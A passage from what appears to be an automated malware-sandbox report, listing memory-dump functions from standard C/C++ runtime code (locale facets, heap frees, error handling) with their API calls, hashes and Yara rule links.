CloseHandle.KERNEL32(00000000), ref: 6DCF1CEC
SetLastError.KERNEL32(00000000), ref: 6DCF1CF5

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: cab0ef5264f9d33b2f59e38cb47a098ab060d9f44f823243b7e95dd6071f5c0f
Instruction ID: 08c4dc6cc1db140a408ee1be43981f2b31c519183d200ffc7ef397848732f967
Opcode Fuzzy Hash: cab0ef5264f9d33b2f59e38cb47a098ab060d9f44f823243b7e95dd6071f5c0f
Instruction Fuzzy Hash: A5F01276205629BBDB115FA4AC0CFDB7F79FF0A751F014405F60592150D7218811DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 6DD146AB, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD146BC
std::_Facet_Register.LIBCPMT ref: 6DD1470D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD14723
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD14741

Strings

ai, xrefs: 6DD146CA, 6DD1471A

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID: ai
API String ID: 1640353255-2407800040
Opcode ID: f72b9dd22f22988de268a2ffba20f8b814079dccbd13e8ff477429872212bad2
Instruction ID: c91c075fd9d3cb04287ce43bc8a08a1a67d648c8f90a50bc7d9167327edd34de
Opcode Fuzzy Hash: f72b9dd22f22988de268a2ffba20f8b814079dccbd13e8ff477429872212bad2
Instruction Fuzzy Hash: 4F11E5B280C129DBCB01FBA4DC50AED7B70EF45728F160108F610B7280EB709905C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD64E2A, Relevance: 7.7, APIs: 5, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8755d0eed4fc6f80358a7e17e7e4715e6e195546459356ecc07f1e50407c1fd
Instruction ID: 11adf1ca5e01cc882222b9e30e752d1a68adfc9d4ee6f6975e81aa3863ac7525
Opcode Fuzzy Hash: a8755d0eed4fc6f80358a7e17e7e4715e6e195546459356ecc07f1e50407c1fd
Instruction Fuzzy Hash: 0471BF31944297DBDB11AB98C884ABFBB75EF46310F204269F96067286C771C885CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5E506, Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,?), ref: 6DD5F29F

_free.LIBCMT ref: 6DD5E611
_free.LIBCMT ref: 6DD5E628
_free.LIBCMT ref: 6DD5E647
_free.LIBCMT ref: 6DD5E662
_free.LIBCMT ref: 6DD5E679

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 9ef30a80a9294253cf8d9d957e68f2edc8ee21803ac89e6d53a56fbe8f15679d
Instruction ID: ef927c48890edd349445263fd0dba13397f78247183d27d12909ee251f086eb0
Opcode Fuzzy Hash: 9ef30a80a9294253cf8d9d957e68f2edc8ee21803ac89e6d53a56fbe8f15679d
Instruction Fuzzy Hash: 9F51DF32A04205EFDF11FF29C840A7AB3F5EF45764F004A69F909D7251E731E9218B90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD68951, Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,6DD82130), ref: 6DD689BB
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A1C,000000FF,00000000,0000003F,00000000,?,?), ref: 6DD68A33
WideCharToMultiByte.KERNEL32(00000000,00000000,6DDD7A70,000000FF,?,0000003F,00000000,?), ref: 6DD68A60
_free.LIBCMT ref: 6DD689A9

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,?,00000000,?,00000000,?,6DD6D2B4,?,00000007,?,?,6DD6C0FC,?), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(?,?,6DD6CFAF,?,00000000,?,00000000,?,6DD6D2B4,?,00000007,?,?,6DD6C0FC,?,?), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD68B75

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: a4b963171ca01ee5e65bb2e86ef9c82ea53b27d0fd23c5fb819d18f5f89ae211
Instruction ID: 2afd7db5e7ed71703c5122160ae1bcc1c834051b7b2174df4c97f31122347d2a
Opcode Fuzzy Hash: a4b963171ca01ee5e65bb2e86ef9c82ea53b27d0fd23c5fb819d18f5f89ae211
Instruction Fuzzy Hash: E051B671D04255FBDF20FF698C4097AB7B8AB47314F1146AAF965A71C1D7709A408BF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BBD6, Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BBE7
std::_Facet_Register.LIBCPMT ref: 6DD2BC38
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BC58
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BC76
_Mpunct.LIBCPMT ref: 6DD2BCA9

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_MpunctRegisterThrow
String ID:
API String ID: 3611545457-0
Opcode ID: e3c58465e926929345f5e35e131797501fd0aa6e9df591cbc8874e27e106bcf0
Instruction ID: 21d4cbaf730a3c8af8305f69c24e61e38ed16ba31b169ac34fa06e0c193ff150
Opcode Fuzzy Hash: e3c58465e926929345f5e35e131797501fd0aa6e9df591cbc8874e27e106bcf0
Instruction Fuzzy Hash: E421B075908229DBCF01FFA8C840AADBBB5EF45718F164509F610AB291DBB09901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1777F, Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD17790
codecvt.LIBCPMT ref: 6DD177CA
std::_Facet_Register.LIBCPMT ref: 6DD177E1
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD17801
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1781F

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowcodecvt
String ID:
API String ID: 324574759-0
Opcode ID: 90067b0a8c9bffd08c8019c85a99e42e2ffb8214e959123477cfe0f3f4c3268b
Instruction ID: 7178f8fce931474da4290fb2149f5c8e6408fdc7f6c0f685a1ca8eaf0ca4c941
Opcode Fuzzy Hash: 90067b0a8c9bffd08c8019c85a99e42e2ffb8214e959123477cfe0f3f4c3268b
Instruction Fuzzy Hash: AE11B17190821DEBCF01FBA8DC40AADB7B5EF49714F120509F510A72A0DFB4AA01CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F567, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F578
moneypunct.LIBCPMT ref: 6DD1F5B2
std::_Facet_Register.LIBCPMT ref: 6DD1F5C9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F5E9
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F607

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmoneypunct
String ID:
API String ID: 158860062-0
Opcode ID: ede8be21832275de67740bba05687c39d562eec5ac9ced7bf399c228acf4f2cd
Instruction ID: 827b4c8c37d7d525de8e4f6516cc7f6cad9d1a48cd65d4f9494db742267af5f4
Opcode Fuzzy Hash: ede8be21832275de67740bba05687c39d562eec5ac9ced7bf399c228acf4f2cd
Instruction Fuzzy Hash: 1011CE7284C1298BCF01FFA4DC40AEDB770EF91324F260009F620A7290EB749A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B7F2, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B803
messages.LIBCPMT ref: 6DD2B83D
std::_Facet_Register.LIBCPMT ref: 6DD2B854
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B874
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B892

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmessages
String ID:
API String ID: 447356255-0
Opcode ID: 4031de7f71d6deeca6bfff50fd9ce6ffacc4b7458b69064b55c5ab7f6fc51570
Instruction ID: ba3d2de182e64ae5cd665d0da3c42fbf0fcc721b938ec857513b5ae4cdaa3200
Opcode Fuzzy Hash: 4031de7f71d6deeca6bfff50fd9ce6ffacc4b7458b69064b55c5ab7f6fc51570
Instruction Fuzzy Hash: A411BC7580812DCBCF00FBA4C840ABDB775EF49718F164009F614A72D4DBB199059BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1EF91, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1EFA2
collate.LIBCPMT ref: 6DD1EFDC
std::_Facet_Register.LIBCPMT ref: 6DD1EFF3
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F013
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F031

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowcollate
String ID:
API String ID: 86117490-0
Opcode ID: f3557edac29fbee0524f6f95030bedef6dbdd1e8eda051b45e7af9677081da73
Instruction ID: 6c1d525d39b082021350c5a692e4e015a3253277d86772ec5aed85d948b57e10
Opcode Fuzzy Hash: f3557edac29fbee0524f6f95030bedef6dbdd1e8eda051b45e7af9677081da73
Instruction Fuzzy Hash: 9611BC729081298BCF01FBA4E850BEDB775AF45324F160409F614AB291EB74AA018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F759, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F76A
moneypunct.LIBCPMT ref: 6DD1F7A4
std::_Facet_Register.LIBCPMT ref: 6DD1F7BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F7DB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F7F9

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmoneypunct
String ID:
API String ID: 158860062-0
Opcode ID: 0328c9c4d8a9776dc38e6857391b2437b1310c8c9ed66dabfcb02e12d0b0f32f
Instruction ID: 15822c576466e6c673103d0c94a26dbe718c989db93e3eb03cdcd0b5e14ec0a2
Opcode Fuzzy Hash: 0328c9c4d8a9776dc38e6857391b2437b1310c8c9ed66dabfcb02e12d0b0f32f
Instruction Fuzzy Hash: 5C119A7690812D9BCF01FBA4DC40AEDB7B4EF95324F260149F610AB290DB749A05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B74C, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B75D
collate.LIBCPMT ref: 6DD2B797
std::_Facet_Register.LIBCPMT ref: 6DD2B7AE
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B7CE
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B7EC

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowcollate
String ID:
API String ID: 86117490-0
Opcode ID: 88ced6efe6e1beb47e9ab2a11a7c15a87e68adad1ee367f31a9597c884ea368c
Instruction ID: 3b742c2677eeaaec13f38d4e135974d35f41cc1bd859a73ab30e3857a0c90682
Opcode Fuzzy Hash: 88ced6efe6e1beb47e9ab2a11a7c15a87e68adad1ee367f31a9597c884ea368c
Instruction Fuzzy Hash: B211CE7680822D9BCF00FBA4C880AFEB771AF45728F174009F614AB390DBB099058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1EEEB, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1EEFC
codecvt.LIBCPMT ref: 6DD1EF36
std::_Facet_Register.LIBCPMT ref: 6DD1EF4D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1EF6D
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1EF8B

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowcodecvt
String ID:
API String ID: 324574759-0
Opcode ID: e5dd39a02316b4b8eaef4b4bade9033725925ae939ec1df0c3a24e97723d736c
Instruction ID: 8097fa286d639ab86a45df6e9d29c03b362f57d9d0f452fda0f451847adc1c16
Opcode Fuzzy Hash: e5dd39a02316b4b8eaef4b4bade9033725925ae939ec1df0c3a24e97723d736c
Instruction Fuzzy Hash: 7E11CE7290852ACBCF00FBA4DC50AFDB770EF45324F164009FA10A7290DB70A9098BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F6B3, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F6C4
moneypunct.LIBCPMT ref: 6DD1F6FE
std::_Facet_Register.LIBCPMT ref: 6DD1F715
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F735
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F753

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmoneypunct
String ID:
API String ID: 158860062-0
Opcode ID: debb09eae23278005acd5cb85a3b9781bd4ea4151e33d1e8de31dced5dda7ddc
Instruction ID: cd9be17b8f35089a69ee2cecffa6ef96c1c02eb6ea525222d20fb96193e438d6
Opcode Fuzzy Hash: debb09eae23278005acd5cb85a3b9781bd4ea4151e33d1e8de31dced5dda7ddc
Instruction Fuzzy Hash: B6119E7690852D9BCF01FBA4DC50AEDB774EF85324F264109F610AB290DB759906CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F60D, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F61E
moneypunct.LIBCPMT ref: 6DD1F658
std::_Facet_Register.LIBCPMT ref: 6DD1F66F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F68F
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F6AD

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmoneypunct
String ID:
API String ID: 158860062-0
Opcode ID: 21dbc601c838a625c8b0aaf27fd86d00e22e87bb606e0b4e5e48ecf03952ff8b
Instruction ID: 74c3c9b096dd383dec66986395ddaeeb7d2890168f386c8b82cf2e8997f31918
Opcode Fuzzy Hash: 21dbc601c838a625c8b0aaf27fd86d00e22e87bb606e0b4e5e48ecf03952ff8b
Instruction Fuzzy Hash: E011A072908529CBCF05FBA4DC40AFDB774EF95724F160409F610A72A1DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F9F1, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FA02
numpunct.LIBCPMT ref: 6DD1FA3C
std::_Facet_Register.LIBCPMT ref: 6DD1FA53
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FA73
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FA91

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrownumpunct
String ID:
API String ID: 2501072427-0
Opcode ID: ca0526e23abb66d7aa53178a987ecf9ec2281fd9f008db05f50aa073180d25be
Instruction ID: 8642f9ca682983bcadb289adad8a74e5e7c2fafba507a98040bb074f7e37007b
Opcode Fuzzy Hash: ca0526e23abb66d7aa53178a987ecf9ec2281fd9f008db05f50aa073180d25be
Instruction Fuzzy Hash: DF11E076908129CBCF01FBA4DC40AFDB774EF85318F164109F614A7290EB799906CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B9E4, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B9F5
moneypunct.LIBCPMT ref: 6DD2BA2F
std::_Facet_Register.LIBCPMT ref: 6DD2BA46
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BA66
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BA84

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmoneypunct
String ID:
API String ID: 158860062-0
Opcode ID: 486452f0f4eec331ee4a2e2c24eb277661a536eff3b46f44f2daaebb0676b37e
Instruction ID: 4a36f08b34cb25ac405a247c519a13019a9074de90ab709136990bad5bed4790
Opcode Fuzzy Hash: 486452f0f4eec331ee4a2e2c24eb277661a536eff3b46f44f2daaebb0676b37e
Instruction Fuzzy Hash: F311A07590812DDBCF01FBA8C840AFDB774AF45718F178009F610A7290DBB59A068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F183, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F194
messages.LIBCPMT ref: 6DD1F1CE
std::_Facet_Register.LIBCPMT ref: 6DD1F1E5
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F205
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F223

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmessages
String ID:
API String ID: 447356255-0
Opcode ID: cd373e247f271ea3e68796790c0ccdd0a133fc13735e80e77a78024e513f2856
Instruction ID: eb2ad0df2ee027c5ab566fbc118d9f14665761bc17721e4d2df23983d9937027
Opcode Fuzzy Hash: cd373e247f271ea3e68796790c0ccdd0a133fc13735e80e77a78024e513f2856
Instruction Fuzzy Hash: 5E119E76908129CBCF01FBA4EC50AFDB775EF85324F26040AF620AB291DB7499018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F0DD, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F0EE
ctype.LIBCPMT ref: 6DD1F128
std::_Facet_Register.LIBCPMT ref: 6DD1F13F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F15F
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F17D

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowctype
String ID:
API String ID: 1081823724-0
Opcode ID: 8d98604efe47fd528fcabff9b61d7f26ece7f0919d970d9aef5a44c793e62883
Instruction ID: 01439dde6ca7fa636796bad6ea74beb298ef86e56cb6f9d4540f712e41a7aca3
Opcode Fuzzy Hash: 8d98604efe47fd528fcabff9b61d7f26ece7f0919d970d9aef5a44c793e62883
Instruction Fuzzy Hash: 1811A076908529CBCF01FFA4DC50AFEB774EF46724F160109F614A7290DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A0FF, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A110
ctype.LIBCPMT ref: 6DD1A14A
std::_Facet_Register.LIBCPMT ref: 6DD1A161
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A181
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A19F

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowctype
String ID:
API String ID: 1081823724-0
Opcode ID: 06a08550b3b32541196e7bedd9ecb15f87f5b6d85fba7c8c8e87f376c6157e82
Instruction ID: 9ddf4446616ab645e4a975ebef7bd138cd63bb3ed95626674f9ead53e36fb444
Opcode Fuzzy Hash: 06a08550b3b32541196e7bedd9ecb15f87f5b6d85fba7c8c8e87f376c6157e82
Instruction Fuzzy Hash: 33119E719481299BCF01FBA8DC40AEDBB75EF95724F160009F510AB290DB749A4A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A059, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A06A
codecvt.LIBCPMT ref: 6DD1A0A4
std::_Facet_Register.LIBCPMT ref: 6DD1A0BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A0DB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A0F9

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowcodecvt
String ID:
API String ID: 324574759-0
Opcode ID: c05880f0bc9ae8200336289874af26183bc8e83339290bd8d7f5420d4b08aa45
Instruction ID: 0e85e48170ba163563a2aa4a9a01605fa25f128d9b5a9aefbd950164e5112972
Opcode Fuzzy Hash: c05880f0bc9ae8200336289874af26183bc8e83339290bd8d7f5420d4b08aa45
Instruction Fuzzy Hash: 05119E7294812ACBCF01FBA8DC40AEDB774EF85724F164009F614A7290DB749A0A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F037, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F048
collate.LIBCPMT ref: 6DD1F082
std::_Facet_Register.LIBCPMT ref: 6DD1F099
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F0B9
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F0D7

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowcollate
String ID:
API String ID: 86117490-0
Opcode ID: 7da97801e36ba14827b1e640f93efeac063e07994d07896550a022e589b691ba
Instruction ID: 7dfaa3e060f11bf218f519a589eb82868a3ca37e4a1ad01b8e91c82b22ba2d01
Opcode Fuzzy Hash: 7da97801e36ba14827b1e640f93efeac063e07994d07896550a022e589b691ba
Instruction Fuzzy Hash: E5119EB694C52A8BCF01FBA8DC40AFDB775EF95324F160049F610A7294DB75A9018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A2F1, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A302
numpunct.LIBCPMT ref: 6DD1A33C
std::_Facet_Register.LIBCPMT ref: 6DD1A353
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A373
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A391

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrownumpunct
String ID:
API String ID: 2501072427-0
Opcode ID: 51ff98f95ccf39918a15b10444a022274bbc1add8418a5c81ea2435b16c4858b
Instruction ID: 4159d0ccdb41501b5c3eff4dd2aae71e6dc4656663b68f59b7180c6678a75d46
Opcode Fuzzy Hash: 51ff98f95ccf39918a15b10444a022274bbc1add8418a5c81ea2435b16c4858b
Instruction Fuzzy Hash: B3115E7590C1299BCF01FBA8DC40AEDB775EF85724F164509F610AB290DF74AA068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BA8A, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BA9B
moneypunct.LIBCPMT ref: 6DD2BAD5
std::_Facet_Register.LIBCPMT ref: 6DD2BAEC
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BB0C
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BB2A

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmoneypunct
String ID:
API String ID: 158860062-0
Opcode ID: bf205865bd451b674f776376ea98c5b167cc84aaa0e78cec73a9f09387322985
Instruction ID: 3c2bfb798d3a1011e36bc93a50bdd4d7d6085e7fb24851fd03fa6d865fe93e7f
Opcode Fuzzy Hash: bf205865bd451b674f776376ea98c5b167cc84aaa0e78cec73a9f09387322985
Instruction Fuzzy Hash: 8A11A376908129CBCF01FBA8CC40AFEB774AF95728F174409F610A7294DBB4A901C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F229, Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F23A
messages.LIBCPMT ref: 6DD1F274
std::_Facet_Register.LIBCPMT ref: 6DD1F28B
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F2AB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F2C9

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrowmessages
String ID:
API String ID: 447356255-0
Opcode ID: c1d766d0dbad226eebc706f4428e9dfa04fde62fa66bffd16635a2fd09e7d897
Instruction ID: 973684e501dcf9253a820899937d11092c7b38e08036b51bc83e50ba81036f6e
Opcode Fuzzy Hash: c1d766d0dbad226eebc706f4428e9dfa04fde62fa66bffd16635a2fd09e7d897
Instruction Fuzzy Hash: 2C119E7690C12D9BCF01FBA8DC50AFDB774EF85724F260109F610A7290DB7499058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5D683, Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6DD52286,6DD5F2B0,?,?,6DD2F8D0,?,?,6DD14A4F,0FFFFFFF,6DD13E38,?,6DD14C42,00000000), ref: 6DD5D688
_free.LIBCMT ref: 6DD5D6BD
_free.LIBCMT ref: 6DD5D6E4
SetLastError.KERNEL32(00000000,?,?), ref: 6DD5D6F1
SetLastError.KERNEL32(00000000,?,?), ref: 6DD5D6FA

Memory Dump Source

